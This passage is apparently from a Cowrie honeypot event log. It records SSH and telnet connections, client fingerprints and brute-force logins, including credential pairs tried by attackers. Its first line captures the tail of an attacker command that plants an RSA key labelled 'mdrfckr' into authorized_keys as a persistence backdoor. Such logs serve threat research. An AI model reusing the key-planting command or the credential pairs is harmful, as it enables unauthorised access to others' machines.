AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.606790Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.714351Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.718418Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":53036,"dst_ip":"10.17.0.5","dst_port":22,"session":"564199900cef","protocol":"ssh","message":"New connection: 177.85.247.230:53036 (10.17.0.5:22) [session: 564199900cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.812366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.818002Z","src_ip":"177.85.247.230","session":"564199900cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:37.919590Z","src_ip":"177.85.247.230","session":"564199900cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:38.356867Z","src_ip":"177.85.247.230","session":"564199900cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:39.461591Z","src_ip":"177.85.247.230","session":"564199900cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"7301030c8cf4","protocol":"ssh","message":"New connection: 177.85.247.230:53052 (10.17.0.5:22) [session: 7301030c8cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:39.559749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:39.568279Z","src_ip":"177.85.247.230","session":"7301030c8cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:39.669869Z","src_ip":"177.85.247.230","session":"7301030c8cf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:40.108746Z","src_ip":"177.85.247.230","session":"7301030c8cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:40.213084Z","src_ip":"177.85.247.230","session":"a9327159b6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:40.217003Z","src_ip":"177.85.247.230","session":"7301030c8cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.303929567337036,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:40.823680Z","src_ip":"38.54.119.93","session":"d3ca46bf9dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":42182,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b405bebb23b","protocol":"ssh","message":"New connection: 191.101.59.69:42182 (159.203.135.109:22) [session: 8b405bebb23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:43.482055Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42736,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e60092dc0e","protocol":"telnet","message":"New connection: 65.60.27.33:42736 (10.17.0.5:23) [session: d0e60092dc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:45.092945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:45.501774Z","src_ip":"191.101.59.69","session":"8b405bebb23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:45.598259Z","src_ip":"191.101.59.69","session":"8b405bebb23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33200,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0edfa1b2d2b","protocol":"telnet","message":"New connection: 192.211.53.160:33200 (159.203.135.109:23) [session: e0edfa1b2d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:50.142966Z"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:51.705622Z","src_ip":"191.101.59.69","session":"8b405bebb23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":43850,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d33c42d1d4a","protocol":"ssh","message":"New connection: 186.113.245.157:43850 (10.17.0.5:22) [session: 8d33c42d1d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:55.579566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:55.585885Z","src_ip":"186.113.245.157","session":"8d33c42d1d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:55.675609Z","src_ip":"186.113.245.157","session":"8d33c42d1d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567890","message":"login attempt [admin/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:56.065891Z","src_ip":"186.113.245.157","session":"8d33c42d1d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:57.161393Z","src_ip":"186.113.245.157","session":"8d33c42d1d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58266,"dst_ip":"159.203.135.109","dst_port":23,"session":"26f2a536a8bb","protocol":"telnet","message":"New connection: 38.60.198.128:58266 (159.203.135.109:23) [session: 26f2a536a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:58.399415Z"}
{"eventid":"cowrie.session.closed","duration":48.078903913497925,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:26:59.105969Z","src_ip":"38.54.119.93","session":"f064632fe2c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d85e880709","protocol":"telnet","message":"New connection: 38.54.119.93:46736 (10.17.0.5:23) [session: 27d85e880709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:00.115037Z"}
{"eventid":"cowrie.session.closed","duration":50.17907404899597,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:04.256583Z","src_ip":"45.81.23.16","session":"5464d14a49a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.99910831451416,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:12.647228Z","src_ip":"45.81.23.16","session":"67ea7fa5adca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00180101394653,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:13.851468Z","src_ip":"190.183.203.15","session":"151da237ba90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49332,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd8aaa3b378","protocol":"telnet","message":"New connection: 38.60.198.128:49332 (159.203.135.109:23) [session: 9fd8aaa3b378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:13.860757Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.183.203.15","src_port":55134,"dst_ip":"159.203.135.109","dst_port":23,"session":"1380ee453056","protocol":"telnet","message":"New connection: 190.183.203.15:55134 (159.203.135.109:23) [session: 1380ee453056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:14.234736Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40272,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ad8ff2dc2a","protocol":"telnet","message":"New connection: 45.81.23.16:40272 (10.17.0.5:23) [session: 63ad8ff2dc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:14.305579Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40288,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c54f43c3a6","protocol":"telnet","message":"New connection: 45.81.23.16:40288 (10.17.0.5:23) [session: 13c54f43c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:14.505094Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67594c987e0","protocol":"telnet","message":"New connection: 45.81.23.16:40302 (10.17.0.5:23) [session: e67594c987e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:14.776874Z"}
{"eventid":"cowrie.session.closed","duration":120.00189161300659,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:15.376969Z","src_ip":"190.183.203.15","session":"b935a7fff523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea1ba07a060","protocol":"telnet","message":"New connection: 45.81.23.16:40310 (10.17.0.5:23) [session: cea1ba07a060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:15.500697Z"}
{"eventid":"cowrie.session.closed","duration":42.52828335762024,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:16.527364Z","src_ip":"38.54.119.93","session":"1d66c467fbba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":63634,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a1a335591f","protocol":"ssh","message":"New connection: 115.68.208.117:63634 (10.17.0.5:22) [session: 52a1a335591f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:16.641320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:16.650048Z","src_ip":"115.68.208.117","session":"52a1a335591f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:16.861403Z","src_ip":"115.68.208.117","session":"52a1a335591f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"admin","message":"login attempt [toor/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:17.710283Z","src_ip":"115.68.208.117","session":"52a1a335591f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":53902,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfb9a9621a1f","protocol":"ssh","message":"New connection: 186.10.86.130:53902 (159.203.135.109:22) [session: dfb9a9621a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:18.097022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:18.101478Z","src_ip":"186.10.86.130","session":"dfb9a9621a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:18.244354Z","src_ip":"186.10.86.130","session":"dfb9a9621a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin6","password":"admin6","message":"login attempt [admin6/admin6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:18.846519Z","src_ip":"186.10.86.130","session":"dfb9a9621a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:27:18.934961Z","src_ip":"115.68.208.117","session":"52a1a335591f","protocol":"ssh"}
